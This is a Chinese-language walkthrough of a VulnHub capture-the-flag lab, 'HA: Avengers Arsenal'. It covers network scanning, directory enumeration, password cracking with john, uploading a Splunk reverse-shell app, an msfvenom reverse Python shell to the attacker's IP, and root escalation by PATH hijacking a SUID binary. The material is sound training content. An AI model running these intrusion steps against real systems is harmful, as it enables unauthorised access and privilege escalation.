01 环境搭建
- 靶机环境下载:https://https://www.vulnhub.com/entry/ha-avengers-arsenal,369/
- 题目信息如下,需要找到5个武器的flag
Avengers are meant to be Earth’s Mightiest Heroes, but some heroes just aren’t mighty enough without their trusty weapon in hand.
The Goal is to gather all the 5 mightiest weapons:
VIBRANIUM SHIELD
MJØLNIR
SCEPTRE
STORMBREAKER
YAKA ARROW
ENUMERATION IS THE KEY!!!!!
Visit our website http://hackingarticles.in
02 信息收集
将靶机环境恢复到virtualbox
之后,开始第一步信息收集工作。
发现靶机
查看攻击机的ip为192.168.56.1
(环境恢复时采用Host-Only Adapter)
使用nmap
扫描网段内的ip地址
nmap -sP 192.168.56.1/24
扫描发现的192.168.56.11
就是目标靶机的ip地址。
端口扫描
使用nmap
对目标靶机开放的端口进行扫描
nmap -Pn -n -sV 192.168.56.11
发现目标靶机开放了3个tcp端口,80,8000,8089。都是http服务,且起了splunkd。
遍历目录
访问80端口,是一个blog页面。
点击Avengersbook
还存在另一个页面。
访问8000
端口,是个登录页面,尝试用sql注入绕过,不可行。
访问8089
,也没有发现特别有价值的信息。
使用dirb
命令,对靶机的目录进行遍历。存在一个image
目录。
dirb http://192.168.56.11
在image
目录下,有个二维码,扫描后发现是spammimic
。
再次用nmap
扫描靶机。
nmap -A 192.168.56.11
发现存在一个.git
目录和groot
目录。
03 获取flag
SCEPTRE
访问spammimic
目录,发现存在一个scepter.txt
文件
打开后是个空白的页面,选中发现都是空格。根据目录名推测是spammimic
编码,可以在http://www.spammimic.com/解码
解码获得flagScepter:{469F1394A349DCF8A742653CE093FA80}
VIBRANIUM SHIELD
访问.git
目录
发现在log
子目录下,存在一个git地址https://github.com/Hackingzone/hackingarticles.git
。
使用git
命令克隆该目录
git clone https://github.com/Hackingzone/hackingarticles.git
几个文件都是页面上的文字。查看git日志
git log
发现有个update日志,查看该操作内容。
git show f35fa4e369f441aae81745f2cdb9e26f83daef8f
删除了一段base64
编码的字符串,解码后获得第一个flag。
echo Q2FwdGFpbiBBbWVyaWNhJ3MgU2hpZWxkOnswNjE3ODZEOUE4QkI4OUEyRkU3NDVERDI2RkUyRTEzQ30=| base64 -D
MJØLNIR
访问groot
目录,存在一个zip文件。
下载hammer.zip
,打开发现需要密码。尝试用默认密码本爆破无法破解。使用cewl
从网站获取字符创建密码本也无法爆破。从收集到的信息中发现在Avengersbook
页面有些生日,地址,姓名等信息,使用cupp
生成密码本。
使用zip2john
和john
爆破密码
zip2john hammer.zip > hash
john --wordlist=Users/nathan/VirtualBox\ VMs/vm/tony.txt hash
获得密码Stark2008
,解压后发现有个pdf文件mjlonir.pdf
。打开该pdf文件发现还需要密码,继续使用john
进行爆破。
pdf2john mjlonir.pdf > hash2
ohn --wordlist=/Users/nathan/VirtualBox\ VMs/vm/tony.txt hash2
获得密码为Tony_050081
。打开pdf获得flag为Mjølnir:{4A3232C59ECDA21AC71BEBE3B329BF36}
STORMBREAKER
查看网页源码,发现还引用了一个html文件ravagers.html
访问后发现是一串ASCII码。解码后为agent:avengers
使用该账户登录192.168.56.11:8000
。进入后台可以管理app。TBG Security
团队开发了一个app,可以获取反弹shellhttps://github.com/TBGSecurity/splunk_shells
。上传app后需要重启,然后设置其权限为所有应用程序。
使用Metasploit
连接shell
直接运行会由于license错误导致失败,需要先激活免费的license。
在这个shell环境中无法通过python -c "import pty;pty.spawn('/bin/bash');"
命令来获取一个tty终端。通过msfvenom
再生成一个反弹shell的payload
msfvenom -p cmd/unix/reverse_python lhost=192.168.56.1 lport=1234 R
再起一个监听1234端口的tcp连接,获取到tty终端
由于没有账户密码,无法使用sudo
命令也无法查询其配置。搜索suid
程序
find / -user root -perm -4000 -print 2>/dev/null
发现一个/opt/ignite
文件。执行发现和ifconfig
功能类似。通过反编译查看,就是直接通过system
执行ifconfig
命令。
可以通过环境变量劫持来达成提权。
echo "/bin/bash" >/tmp/ifconfig
chmod +x /tmp/ifconfig
export PATH=/tmp:$PATH
YAKA ARROW
至此还剩YAKA ARROW
的flag没有找到。使用find命令在本地搜索带有yaka
的文件,发现在opt
目录下存在两个文件。
查看yakahints.txt
获取yaka.xlsx
,是个excel表,根据hint在20 14位置n20
处发现flag